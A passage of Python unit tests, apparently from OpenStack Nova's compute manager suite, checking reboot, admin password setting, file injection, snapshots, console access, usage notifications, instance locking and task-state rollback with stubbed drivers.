True) def test_reboot_hard_and_delete_and_rescued(self): self._test_reboot(False, False, True, True) def test_reboot_soft_legacy_nwinfo_driver(self): self._test_reboot(True, True) def test_reboot_hard_legacy_nwinfo_driver(self): self._test_reboot(False, True) def test_reboot_fail(self): self._test_reboot(False, False, fail_reboot=True) def test_reboot_fail_running(self): self._test_reboot(False, False, fail_reboot=True, fail_running=True) def test_set_admin_password(self): # Ensure instance can have its admin password set. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {'task_state': task_states.UPDATING_PASSWORD}) inst_ref = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(inst_ref['vm_state'], vm_states.ACTIVE) self.assertEqual(inst_ref['task_state'], task_states.UPDATING_PASSWORD) self.compute.set_admin_password(self.context, instance=instance) inst_ref = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(inst_ref['vm_state'], vm_states.ACTIVE) self.assertEqual(inst_ref['task_state'], None) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(inst_ref)) def test_set_admin_password_bad_state(self): # Test setting password while instance is rebuilding. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], { "power_state": power_state.NOSTATE, }) instance = jsonutils.to_primitive(db.instance_get_by_uuid( self.context, instance['uuid'])) self.assertEqual(instance['power_state'], power_state.NOSTATE) def fake_driver_get_info(self2, _instance): return {'state': power_state.NOSTATE, 'max_mem': 0, 'mem': 0, 'num_cpu': 2, 'cpu_time': 0} self.stubs.Set(nova.virt.fake.FakeDriver, 'get_info', fake_driver_get_info) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.UPDATING_PASSWORD}) self.assertRaises(exception.InstancePasswordSetFailed, self.compute.set_admin_password, self.context, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def _do_test_set_admin_password_driver_error(self, exc, expected_vm_state, expected_task_state, expected_exception): """Ensure expected exception is raised if set_admin_password fails.""" def fake_sleep(_time): pass self.stubs.Set(time, 'sleep', fake_sleep) def fake_driver_set_pass(self2, _instance, _pwd): raise exc self.stubs.Set(nova.virt.fake.FakeDriver, 'set_admin_password', fake_driver_set_pass) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {'task_state': task_states.UPDATING_PASSWORD}) inst_ref = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(inst_ref['vm_state'], vm_states.ACTIVE) self.assertEqual(inst_ref['task_state'], task_states.UPDATING_PASSWORD) #error raised from the driver should not reveal internal information #so a new error is raised self.assertRaises(expected_exception, self.compute.set_admin_password, self.context, instance=jsonutils.to_primitive(inst_ref)) inst_ref = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(inst_ref['vm_state'], expected_vm_state) self.assertEqual(inst_ref['task_state'], expected_task_state) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(inst_ref)) def test_set_admin_password_driver_not_authorized(self): """ Ensure expected exception is raised if set_admin_password not authorized. """ exc = exception.NotAuthorized(_('Internal error')) expected_exception = exception.InstancePasswordSetFailed self._do_test_set_admin_password_driver_error(exc, vm_states.ERROR, None, expected_exception) def test_set_admin_password_driver_not_implemented(self): """ Ensure expected exception is raised if set_admin_password not implemented by driver. """ exc = NotImplementedError() expected_exception = NotImplementedError self._do_test_set_admin_password_driver_error(exc, vm_states.ACTIVE, None, expected_exception) def test_inject_file(self): # Ensure we can write a file to an instance. called = {'inject': False} def fake_driver_inject_file(self2, instance, path, contents): self.assertEqual(path, "/tmp/test") self.assertEqual(contents, "File Contents") called['inject'] = True self.stubs.Set(nova.virt.fake.FakeDriver, 'inject_file', fake_driver_inject_file) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) self.compute.inject_file(self.context, "/tmp/test", "File Contents", instance=instance) self.assertTrue(called['inject']) self.compute.terminate_instance(self.context, instance=instance) def test_inject_network_info(self): # Ensure we can inject network info. called = {'inject': False} def fake_driver_inject_network(self, instance, network_info): called['inject'] = True self.stubs.Set(nova.virt.fake.FakeDriver, 'inject_network_info', fake_driver_inject_network) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) self.compute.inject_network_info(self.context, instance=instance) self.assertTrue(called['inject']) self.compute.terminate_instance(self.context, instance=instance) def test_reset_network(self): # Ensure we can reset networking on an instance. called = {'count': 0} def fake_driver_reset_network(self, instance): called['count'] += 1 self.stubs.Set(nova.virt.fake.FakeDriver, 'reset_network', fake_driver_reset_network) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) self.compute.reset_network(self.context, instance=instance) self.assertEqual(called['count'], 1) self.compute.terminate_instance(self.context, instance=instance) def test_live_snapshot(self): # Ensure instance can be live_snapshotted. instance = jsonutils.to_primitive(self._create_fake_instance()) name = "myfakesnapshot" self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.IMAGE_LIVE_SNAPSHOT}) self.compute.live_snapshot_instance(self.context, name, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_snapshot(self): # Ensure instance can be snapshotted. instance = jsonutils.to_primitive(self._create_fake_instance()) name = "myfakesnapshot" self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.IMAGE_SNAPSHOT}) self.compute.snapshot_instance(self.context, name, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_snapshot_no_image(self): params = {'image_ref': ''} name = "myfakesnapshot" instance = self._create_fake_instance(params) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.IMAGE_SNAPSHOT}) self.compute.snapshot_instance(self.context, name, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_snapshot_fails(self): # Ensure task_state is set to None if snapshot fails. def fake_snapshot(*args, **kwargs): raise test.TestingException() self.stubs.Set(self.compute.driver, 'snapshot', fake_snapshot) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.IMAGE_SNAPSHOT}) self.assertRaises(test.TestingException, self.compute.snapshot_instance, self.context, "failing_snapshot", instance=instance) self._assert_state({'task_state': None}) self.compute.terminate_instance(self.context, instance=instance) def test_snapshot_handles_cases_when_instance_is_deleted(self): instance = jsonutils.to_primitive(self._create_fake_instance( {'vm_state': 'deleting'})) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.DELETING}) self.compute.snapshot_instance(self.context, "failing_snapshot", instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_snapshot_handles_cases_when_instance_is_not_found(self): instance = jsonutils.to_primitive(self._create_fake_instance( {'vm_state': 'deleting'})) instance["uuid"] = str(uuid.uuid4()) self.compute.snapshot_instance(self.context, "failing_snapshot", instance=instance) self.compute.terminate_instance(self.context, instance=instance) def _assert_state(self, state_dict): """Assert state of VM is equal to state passed as parameter.""" instances = db.instance_get_all(self.context) self.assertEqual(len(instances), 1) if 'vm_state' in state_dict: self.assertEqual(state_dict['vm_state'], instances[0]['vm_state']) if 'task_state' in state_dict: self.assertEqual(state_dict['task_state'], instances[0]['task_state']) if 'power_state' in state_dict: self.assertEqual(state_dict['power_state'], instances[0]['power_state']) def test_console_output(self): # Make sure we can get console output from instance. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) output = self.compute.get_console_output(self.context, instance=instance) self.assertEqual(output, 'FAKE CONSOLE OUTPUT\nANOTHER\nLAST LINE') self.compute.terminate_instance(self.context, instance=instance) def test_console_output_tail(self): # Make sure we can get console output from instance. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) output = self.compute.get_console_output(self.context, instance=instance, tail_length=2) self.assertEqual(output, 'ANOTHER\nLAST LINE') self.compute.terminate_instance(self.context, instance=instance) def test_novnc_vnc_console(self): # Make sure we can a vnc console for an instance. self.flags(vnc_enabled=True) self.flags(enabled=False, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) # Try with the full instance console = self.compute.get_vnc_console(self.context, 'novnc', instance=instance) self.assert_(console) self.compute.terminate_instance(self.context, instance=instance) def test_validate_console_port_vnc(self): self.flags(vnc_enabled=True) self.flags(enabled=True, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) def fake_driver_get_console(*args, **kwargs): return {'host': "fake_host", 'port': "5900", 'internal_access_path': None} self.stubs.Set(self.compute.driver, "get_vnc_console", fake_driver_get_console) self.assertTrue(self.compute.validate_console_port(self.context, instance, "5900", "novnc")) def test_validate_console_port_spice(self): self.flags(vnc_enabled=True) self.flags(enabled=True, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) def fake_driver_get_console(*args, **kwargs): return {'host': "fake_host", 'port': "5900", 'internal_access_path': None} self.stubs.Set(self.compute.driver, "get_spice_console", fake_driver_get_console) self.assertTrue(self.compute.validate_console_port(self.context, instance, "5900", "spice-html5")) def test_validate_console_port_wrong_port(self): self.flags(vnc_enabled=True) self.flags(enabled=True, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) def fake_driver_get_console(*args, **kwargs): return {'host': "fake_host", 'port': "5900", 'internal_access_path': None} self.stubs.Set(self.compute.driver, "get_vnc_console", fake_driver_get_console) self.assertFalse(self.compute.validate_console_port(self.context, instance, "wrongport", "spice-html5")) def test_xvpvnc_vnc_console(self): # Make sure we can a vnc console for an instance. self.flags(vnc_enabled=True) self.flags(enabled=False, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) console = self.compute.get_vnc_console(self.context, 'xvpvnc', instance=instance) self.assert_(console) self.compute.terminate_instance(self.context, instance=instance) def test_invalid_vnc_console_type(self): # Raise useful error if console type is an unrecognised string. self.flags(vnc_enabled=True) self.flags(enabled=False, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) self.assertRaises(rpc_common.ClientException, self.compute.get_vnc_console, self.context, 'invalid', instance=instance) self.stub_out_client_exceptions() self.assertRaises(exception.ConsoleTypeInvalid, self.compute.get_vnc_console, self.context, 'invalid', instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_missing_vnc_console_type(self): # Raise useful error is console type is None. self.flags(vnc_enabled=True) self.flags(enabled=False, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) self.assertRaises(rpc_common.ClientException, self.compute.get_vnc_console, self.context, None, instance=instance) self.stub_out_client_exceptions() self.assertRaises(exception.ConsoleTypeInvalid, self.compute.get_vnc_console, self.context, None, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_spicehtml5_spice_console(self): # Make sure we can a spice console for an instance. self.flags(vnc_enabled=False) self.flags(enabled=True, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) # Try with the full instance console = self.compute.get_spice_console(self.context, 'spice-html5', instance=instance) self.assert_(console) self.compute.terminate_instance(self.context, instance=instance) def test_invalid_spice_console_type(self): # Raise useful error if console type is an unrecognised string self.flags(vnc_enabled=False) self.flags(enabled=True, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) self.assertRaises(rpc_common.ClientException, self.compute.get_spice_console, self.context, 'invalid', instance=instance) self.stub_out_client_exceptions() self.assertRaises(exception.ConsoleTypeInvalid, self.compute.get_spice_console, self.context, 'invalid', instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_missing_spice_console_type(self): # Raise useful error is console type is None self.flags(vnc_enabled=False) self.flags(enabled=True, group='spice') instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) self.assertRaises(rpc_common.ClientException, self.compute.get_spice_console, self.context, None, instance=instance) self.stub_out_client_exceptions() self.assertRaises(exception.ConsoleTypeInvalid, self.compute.get_spice_console, self.context, None, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_vnc_console_instance_not_ready(self): self.flags(vnc_enabled=True) self.flags(enabled=False, group='spice') instance = self._create_fake_instance( params={'vm_state': vm_states.BUILDING}) instance = jsonutils.to_primitive(instance) def fake_driver_get_console(*args, **kwargs): raise exception.InstanceNotFound(instance_id=instance['uuid']) self.stubs.Set(self.compute.driver, "get_vnc_console", fake_driver_get_console) self.stub_out_client_exceptions() self.assertRaises(exception.InstanceNotReady, self.compute.get_vnc_console, self.context, 'novnc', instance=instance) def test_spice_console_instance_not_ready(self): self.flags(vnc_enabled=False) self.flags(enabled=True, group='spice') instance = self._create_fake_instance( params={'vm_state': vm_states.BUILDING}) instance = jsonutils.to_primitive(instance) def fake_driver_get_console(*args, **kwargs): raise exception.InstanceNotFound(instance_id=instance['uuid']) self.stubs.Set(self.compute.driver, "get_spice_console", fake_driver_get_console) self.stub_out_client_exceptions() self.assertRaises(exception.InstanceNotReady, self.compute.get_spice_console, self.context, 'spice-html5', instance=instance) def test_diagnostics(self): # Make sure we can get diagnostics for an instance. expected_diagnostic = {'cpu0_time': 17300000000, 'memory': 524288, 'vda_errors': -1, 'vda_read': 262144, 'vda_read_req': 112, 'vda_write': 5778432, 'vda_write_req': 488, 'vnet1_rx': 2070139, 'vnet1_rx_drop': 0, 'vnet1_rx_errors': 0, 'vnet1_rx_packets': 26701, 'vnet1_tx': 140208, 'vnet1_tx_drop': 0, 'vnet1_tx_errors': 0, 'vnet1_tx_packets': 662, } instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) diagnostics = self.compute.get_diagnostics(self.context, instance=instance) self.assertEqual(diagnostics, expected_diagnostic) self.compute.terminate_instance(self.context, instance=instance) def test_add_fixed_ip_usage_notification(self): def dummy(*args, **kwargs): pass self.stubs.Set(network_api.API, 'add_fixed_ip_to_instance', dummy) self.stubs.Set(nova.compute.manager.ComputeManager, 'inject_network_info', dummy) self.stubs.Set(nova.compute.manager.ComputeManager, 'reset_network', dummy) instance = jsonutils.to_primitive(self._create_fake_instance()) self.assertEquals(len(test_notifier.NOTIFICATIONS), 0) self.compute.add_fixed_ip_to_instance(self.context, network_id=1, instance=instance) self.assertEquals(len(test_notifier.NOTIFICATIONS), 2) self.compute.terminate_instance(self.context, instance=instance) def test_remove_fixed_ip_usage_notification(self): def dummy(*args, **kwargs): pass self.stubs.Set(network_api.API, 'remove_fixed_ip_from_instance', dummy) self.stubs.Set(nova.compute.manager.ComputeManager, 'inject_network_info', dummy) self.stubs.Set(nova.compute.manager.ComputeManager, 'reset_network', dummy) instance = jsonutils.to_primitive(self._create_fake_instance()) self.assertEquals(len(test_notifier.NOTIFICATIONS), 0) self.compute.remove_fixed_ip_from_instance(self.context, 1, instance=instance) self.assertEquals(len(test_notifier.NOTIFICATIONS), 2) self.compute.terminate_instance(self.context, instance=instance) def test_run_instance_usage_notification(self): # Ensure run instance generates appropriate usage notification. instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) self.assertEquals(len(test_notifier.NOTIFICATIONS), 2) inst_ref = db.instance_get_by_uuid(self.context, instance_uuid) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals(msg['event_type'], 'compute.instance.create.start') self.assertEquals(msg['payload']['image_name'], 'fake_name') # The last event is the one with the sugar in it. msg = test_notifier.NOTIFICATIONS[1] self.assertEquals(msg['priority'], 'INFO') self.assertEquals(msg['event_type'], 'compute.instance.create.end') payload = msg['payload'] self.assertEquals(payload['tenant_id'], self.project_id) self.assertEquals(payload['image_name'], 'fake_name') self.assertEquals(payload['user_id'], self.user_id) self.assertEquals(payload['instance_id'], inst_ref['uuid']) self.assertEquals(payload['instance_type'], 'm1.tiny') type_id = flavors.get_flavor_by_name('m1.tiny')['id'] self.assertEquals(str(payload['instance_type_id']), str(type_id)) self.assertEquals(payload['state'], 'active') self.assertTrue('display_name' in payload) self.assertTrue('created_at' in payload) self.assertTrue('launched_at' in payload) self.assertTrue('fixed_ips' in payload) self.assertTrue(payload['launched_at']) image_ref_url = glance.generate_image_url(FAKE_IMAGE_REF) self.assertEquals(payload['image_ref_url'], image_ref_url) self.assertEqual('Success', payload['message']) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(inst_ref)) def test_run_instance_end_notification_on_abort(self): # Test that an end notif is sent if the build is aborted instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] def build_inst_abort(*args, **kwargs): raise exception.BuildAbortException(reason="already deleted", instance_uuid=instance_uuid) self.stubs.Set(self.compute, '_build_instance', build_inst_abort) self.compute.run_instance(self.context, instance=instance) self.assertEquals(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals(msg['event_type'], 'compute.instance.create.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEquals(msg['event_type'], 'compute.instance.create.end') self.assertEquals('INFO', msg['priority']) payload = msg['payload'] message = payload['message'] self.assertTrue(message.find("already deleted") != -1) def test_run_instance_error_notification_on_reschedule(self): # Test that error notif is sent if the build got rescheduled instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] def build_inst_fail(*args, **kwargs): raise exception.RescheduledException(instance_uuid=instance_uuid, reason="something bad happened") self.stubs.Set(self.compute, '_build_instance', build_inst_fail) self.compute.run_instance(self.context, instance=instance) self.assertTrue(len(test_notifier.NOTIFICATIONS) >= 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals(msg['event_type'], 'compute.instance.create.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEquals(msg['event_type'], 'compute.instance.create.error') self.assertEquals('ERROR', msg['priority']) payload = msg['payload'] message = payload['message'] self.assertTrue(message.find("something bad happened") != -1) def test_run_instance_error_notification_on_failure(self): # Test that error notif is sent if build fails hard instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] def build_inst_fail(*args, **kwargs): raise test.TestingException("i'm dying") self.stubs.Set(self.compute, '_build_instance', build_inst_fail) self.assertRaises(test.TestingException, self.compute.run_instance, self.context, instance=instance) self.assertTrue(len(test_notifier.NOTIFICATIONS) >= 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals(msg['event_type'], 'compute.instance.create.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEquals(msg['event_type'], 'compute.instance.create.error') self.assertEquals('ERROR', msg['priority']) payload = msg['payload'] message = payload['message'] self.assertTrue(message.find("i'm dying") != -1) def test_terminate_usage_notification(self): # Ensure terminate_instance generates correct usage notification. old_time = datetime.datetime(2012, 4, 1) cur_time = datetime.datetime(2012, 12, 21, 12, 21) timeutils.set_time_override(old_time) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) test_notifier.NOTIFICATIONS = [] timeutils.set_time_override(cur_time) self.compute.terminate_instance(self.context, instance=instance) self.assertEquals(len(test_notifier.NOTIFICATIONS), 4) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals(msg['priority'], 'INFO') self.assertEquals(msg['event_type'], 'compute.instance.delete.start') msg1 = test_notifier.NOTIFICATIONS[1] self.assertEquals(msg1['event_type'], 'compute.instance.shutdown.start') msg1 = test_notifier.NOTIFICATIONS[2] self.assertEquals(msg1['event_type'], 'compute.instance.shutdown.end') msg1 = test_notifier.NOTIFICATIONS[3] self.assertEquals(msg1['event_type'], 'compute.instance.delete.end') payload = msg1['payload'] self.assertEquals(payload['tenant_id'], self.project_id) self.assertEquals(payload['user_id'], self.user_id) self.assertEquals(payload['instance_id'], instance['uuid']) self.assertEquals(payload['instance_type'], 'm1.tiny') type_id = flavors.get_flavor_by_name('m1.tiny')['id'] self.assertEquals(str(payload['instance_type_id']), str(type_id)) self.assertTrue('display_name' in payload) self.assertTrue('created_at' in payload) self.assertTrue('launched_at' in payload) self.assertTrue('deleted_at' in payload) self.assertEqual(payload['deleted_at'], timeutils.strtime(cur_time)) image_ref_url = glance.generate_image_url(FAKE_IMAGE_REF) self.assertEquals(payload['image_ref_url'], image_ref_url) def test_run_instance_existing(self): # Ensure failure when running an instance that already exists. instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) self.assertRaises(exception.InstanceExists, self.compute.run_instance, self.context, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_run_instance_queries_macs(self): # run_instance should ask the driver for node mac addresses and pass # that to the network_api in use. fake_network.unset_stub_network_methods(self.stubs) instance = jsonutils.to_primitive(self._create_fake_instance()) macs = set(['01:23:45:67:89:ab']) self.mox.StubOutWithMock(self.compute.network_api, "allocate_for_instance") self.compute.network_api.allocate_for_instance( mox.IgnoreArg(), mox.IgnoreArg(), requested_networks=None, vpn=False, macs=macs, conductor_api=self.compute.conductor_api, security_groups=[]).AndReturn( fake_network.fake_get_instance_nw_info(self.stubs, 1, 1, spectacular=True)) self.mox.StubOutWithMock(self.compute.driver, "macs_for_instance") self.compute.driver.macs_for_instance(instance).AndReturn(macs) self.mox.ReplayAll() self.compute.run_instance(self.context, instance=instance) def test_instance_set_to_error_on_uncaught_exception(self): # Test that instance is set to error state when exception is raised. instance = jsonutils.to_primitive(self._create_fake_instance()) self.mox.StubOutWithMock(self.compute.network_api, "allocate_for_instance") self.compute.network_api.allocate_for_instance( mox.IgnoreArg(), mox.IgnoreArg(), requested_networks=None, vpn=False, macs=None, conductor_api=self.compute.conductor_api, security_groups=[] ).AndRaise(rpc_common.RemoteError()) fake_network.unset_stub_network_methods(self.stubs) self.mox.ReplayAll() self.assertRaises(rpc_common.RemoteError, self.compute.run_instance, self.context, instance=instance) instance = db.instance_get_by_uuid(context.get_admin_context(), instance['uuid']) self.assertEqual(vm_states.ERROR, instance['vm_state']) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def test_delete_instance_succedes_on_volume_fail(self): instance = self._create_fake_instance_obj() def fake_cleanup_volumes(context, instance): raise test.TestingException() self.stubs.Set(self.compute, '_cleanup_volumes', fake_cleanup_volumes) self.compute._delete_instance(self.context, instance=instance, bdms={}) def test_delete_instance_keeps_net_on_power_off_fail(self): self.mox.StubOutWithMock(self.compute.driver, 'destroy') self.mox.StubOutWithMock(self.compute, '_deallocate_network') exp = exception.InstancePowerOffFailure(reason='') self.compute.driver.destroy(mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()).AndRaise(exp) # mox will detect if _deallocate_network gets called unexpectedly self.mox.ReplayAll() instance = self._create_fake_instance() self.assertRaises(exception.InstancePowerOffFailure, self.compute._delete_instance, self.context, instance=jsonutils.to_primitive(instance), bdms={}) def test_delete_instance_loses_net_on_other_fail(self): self.mox.StubOutWithMock(self.compute.driver, 'destroy') self.mox.StubOutWithMock(self.compute, '_deallocate_network') exp = test.TestingException() self.compute.driver.destroy(mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()).AndRaise(exp) self.compute._deallocate_network(mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()) self.mox.ReplayAll() instance = self._create_fake_instance() self.assertRaises(test.TestingException, self.compute._delete_instance, self.context, instance=jsonutils.to_primitive(instance), bdms={}) def test_delete_instance_deletes_console_auth_tokens(self): instance = self._create_fake_instance_obj() self.flags(vnc_enabled=True) self.tokens_deleted = False def fake_delete_tokens(*args, **kwargs): self.tokens_deleted = True cauth_rpcapi = self.compute.consoleauth_rpcapi self.stubs.Set(cauth_rpcapi, 'delete_tokens_for_instance', fake_delete_tokens) self.compute._delete_instance(self.context, instance=instance, bdms={}) self.assertTrue(self.tokens_deleted) def test_delete_instance_deletes_console_auth_tokens_cells(self): instance = self._create_fake_instance_obj() self.flags(vnc_enabled=True) self.flags(enable=True, group='cells') self.tokens_deleted = False def fake_delete_tokens(*args, **kwargs): self.tokens_deleted = True cells_rpcapi = self.compute.cells_rpcapi self.stubs.Set(cells_rpcapi, 'consoleauth_delete_tokens', fake_delete_tokens) self.compute._delete_instance(self.context, instance=instance, bdms={}) self.assertTrue(self.tokens_deleted) def test_instance_termination_exception_sets_error(self): """Test that we handle InstanceTerminationFailure which is propagated up from the underlying driver. """ instance = self._create_fake_instance_obj() def fake_delete_instance(context, instance, bdms, reservations=None): raise exception.InstanceTerminationFailure(reason='') self.stubs.Set(self.compute, '_delete_instance', fake_delete_instance) self.compute.terminate_instance(self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(instance['vm_state'], vm_states.ERROR) def test_network_is_deallocated_on_spawn_failure(self): # When a spawn fails the network must be deallocated. instance = jsonutils.to_primitive(self._create_fake_instance()) self.mox.StubOutWithMock(self.compute, "_setup_block_device_mapping") self.compute._setup_block_device_mapping( mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()).AndRaise(rpc.common.RemoteError('', '', '')) self.mox.ReplayAll() self.assertRaises(rpc.common.RemoteError, self.compute.run_instance, self.context, instance=instance) self.compute.terminate_instance(self.context, instance=instance) def test_lock(self): # ensure locked instance cannot be changed. instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) non_admin_context = context.RequestContext(None, None, is_admin=False) def check_task_state(task_state): instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], task_state) # should fail with locked nonadmin context self.compute_api.lock(self.context, instance) inst_obj = instance_obj.Instance.get_by_uuid(self.context, instance['uuid']) self.assertRaises(exception.InstanceIsLocked, self.compute_api.reboot, non_admin_context, inst_obj, 'SOFT') check_task_state(None) # should fail with invalid task state instance = db.instance_get_by_uuid(self.context, instance_uuid) self.compute_api.unlock(self.context, instance) instance = db.instance_update(self.context, instance_uuid, {'task_state': task_states.REBOOTING}) inst_obj.refresh() self.assertRaises(exception.InstanceInvalidState, self.compute_api.reboot, non_admin_context, inst_obj, 'SOFT') check_task_state(task_states.REBOOTING) # should succeed with admin context instance = db.instance_update(self.context, instance_uuid, {'task_state': None}) inst_obj.refresh() self.compute_api.reboot(self.context, inst_obj, 'SOFT') check_task_state(task_states.REBOOTING) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def _check_locked_by(self, instance_uuid, locked_by): instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['locked'], locked_by != None) self.assertEqual(instance['locked_by'], locked_by) return instance def test_override_owner_lock(self): admin_context = context.RequestContext('admin-user', 'admin-project', is_admin=True) instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) # Ensure that an admin can override the owner lock self.compute_api.lock(self.context, instance) self._check_locked_by(instance_uuid, 'owner') self.compute_api.unlock(admin_context, instance) self._check_locked_by(instance_uuid, None) def test_upgrade_owner_lock(self): admin_context = context.RequestContext('admin-user', 'admin-project', is_admin=True) instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) # Ensure that an admin can upgrade the lock and that # the owner can no longer unlock self.compute_api.lock(self.context, instance) self.compute_api.lock(admin_context, instance) instance = self._check_locked_by(instance_uuid, 'admin') self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.unlock, self.context, instance) self._check_locked_by(instance_uuid, 'admin') self.compute_api.unlock(admin_context, instance) self._check_locked_by(instance_uuid, None) def _test_state_revert(self, instance, operation, pre_task_state, post_task_state=None, kwargs=None): if kwargs is None: kwargs = {} # The API would have set task_state, so do that here to test # that the state gets reverted on failure db.instance_update(self.context, instance['uuid'], {"task_state": pre_task_state}) orig_elevated = self.context.elevated orig_notify = self.compute._notify_about_instance_usage def _get_an_exception(*args, **kwargs): raise test.TestingException() self.stubs.Set(self.context, 'elevated', _get_an_exception) self.stubs.Set(self.compute, '_notify_about_instance_usage', _get_an_exception) func = getattr(self.compute, operation) raised = False try: func(self.context, instance=instance, **kwargs) except test.TestingException: raised = True finally: # self.context.elevated() is called in tearDown() self.stubs.Set(self.context, 'elevated', orig_elevated) self.stubs.Set(self.compute, '_notify_about_instance_usage', orig_notify) self.assertTrue(raised) # Fetch the instance's task_state and make sure it went to expected # post-state instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(instance["task_state"], post_task_state) def test_state_revert(self): # ensure that task_state is reverted after a failed operation. actions = [ ("reboot_instance", task_states.REBOOTING), ("stop_instance", task_states.POWERING_OFF), ("start_instance", task_states.POWERING_ON), ("terminate_instance", task_states.DELETING, task_states.DELETING), ("power_off_instance", task_states.POWERING_OFF), ("power_on_instance", task_states.POWERING_ON), ("soft_delete_instance", task_states.SOFT_DELETING), ("restore_instance", task_states.RESTORING), ("rebuild_instance", task_states.REBUILDING, None, {'orig_image_ref': None, 'image_ref': None, 'injected_files': [], 'new_pass': ''}), ("set_admin_password", task_states.UPDATING_PASSWORD), ("rescue_instance", task_states.RESCUING), ("unrescue_instance", task_states.UNRESCUING), ("revert_resize", task_states.RESIZE_REVERTING, None, {'migration_id': None}), ("prep_resize", task_states.RESIZE_PREP, None, {'image': {}, 'instance_type': {}}), ("resize_instance", task_states.RESIZE_PREP, None, {'migration_id': None, 'image': {}}), ("pause_instance", task_states.PAUSING), ("unpause_instance", task_states.UNPAUSING), ("suspend_instance", task_states.SUSPENDING), ("resume_instance", task_states.RESUMING), ] want_objects = ['stop_instance', 'start_instance', 'terminate_instance', 'soft_delete_instance', ] instance = self._create_fake_instance() inst_obj = instance_obj.Instance._from_db_object( self.context, instance_obj.Instance(), instance, expected_attrs=instance_obj.INSTANCE_DEFAULT_FIELDS) for operation in actions: if 